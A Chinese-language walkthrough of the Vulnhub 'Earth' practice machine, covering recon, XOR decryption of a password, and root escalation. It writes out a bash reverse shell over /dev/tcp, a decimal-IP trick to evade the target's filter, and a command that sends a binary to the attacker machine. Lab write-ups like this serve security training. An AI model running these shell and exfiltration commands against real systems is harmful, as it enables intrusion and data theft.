Vulnhub-Earth–The Planets
参考
https://nepcodex.com/2021/12/earth-the-planets-vulnhub-writeup/
工具
https://www.rapidtables.com/convert/number/ascii-to-hex.html (ASCII Text to Hex Code Converter)
https://md5decrypt.net/en/Xor/#results (XOR Online Decrypt & Encrypt)
https://gchq.github.io/CyberChef/
https://www.ipaddressguide.com/ip (IPv4 到 IP 十进制转换)
学习知识
1.XOR加密解密
2.nc拉取文件
3.ltrace使用(用来跟踪进程调用库函数的情况)
基本程序
1.确认靶机ip
2.确认开放端口
3.寻找可用端口,扫描目录,找到可用漏洞。
polkitd提权漏洞
4.尝试漏洞,后渗透
步骤
kali ip(192.168.47.141)
1.确认靶机ip
2.确认开放端口
3.寻找可用端口
查看80端口,发现访问不了。
查看443端口
从 SSL 证书中,我找到了两个主机名
Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
在主机的/etc/hosts中添加主机名
echo "192.168.47.142 earth.local" >> /etc/hosts
echo "192.168.47.142 terratest.earth.local" >> /etc/hosts
访问earth.local
在earth.local中有一些用一些密钥签名的加密消息。
扫描目录
dirb http://earth.local
查看,发现登陆界面,需用户名密码
访问terratest.earth.local
一样的界面,扫描目录
发现robots.txt
进行查看(需https)
发现可疑文件/testingnotes.*,访问/testingnotes.txt
从注释中,我们可以确认加密算法是 XOR,密钥可能来自 testdata.txt。同样,管理门户的用户名是 terra。此外,管理员门户是其他网站上的 /admin。
访问testdata.txt
猜测为密钥的字符串。
进行XOR解密
将此字符串转化为16进制
4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973746f72792c206c69666520617070656172656420696e20746865206f6365616e7320616e6420626567616e20746f2061666665637420456172746827732061746d6f73706865726520616e6420737572666163652c206c656164696e6720746f207468652070726f6c696665726174696f6e206f6620616e6165726f62696320616e642c206c617465722c206165726f626963206f7267616e69736d732e20536f6d652067656f6c6f676963616c2065766964656e636520696e646963617465732074686174206c696665206d617920686176652061726973656e206173206561726c7920617320342e312062696c6c696f6e2079656172732061676f2e0a
在XOR解密网站解密
将解密的16进制转化为字符串
解得密码 earthclimatechangebad4humans
登陆界面进行登录terra/earthclimatechangebad4humans
它为我们提供了 CLI 输入
尝试反向连接,连接失败
bash -i >& /dev/tcp/192.168.47.141/11111 0>&1
这是因为我使用了 IP 地址。因此,我们可以通过将其转换为十进制表示法来绕过它。
将IP转化为16进制
3232247693
连接
bash -i >& /dev/tcp/3232247693/11111 0>&1
在/var/earth_web目录下发现uer权限flag
4.提权
查找SUID
find / -perm -4000 2>/dev/null
将此文件放入kali中查看
kali
nc -nlvp 9999
靶机
cat /usr/bin/reset_root > /dev/tcp/192.168.47.141/9999
首先运行string,看有没有什么东西
看看这个,我可以猜到它正在尝试基于一些触发器来重置 root 密码。让我们运行ltrace看看这些触发器是什么。首先,我们需要使文件在我们的盒子上可执行。
chmod +x ./reset_root
ltrace ./reset_root
意思为检查这些文件是否存在,在靶机上创建这些文件,然后运行此文件
获取到root密码Earth
登录root用户
在/root目录下发现root权限flag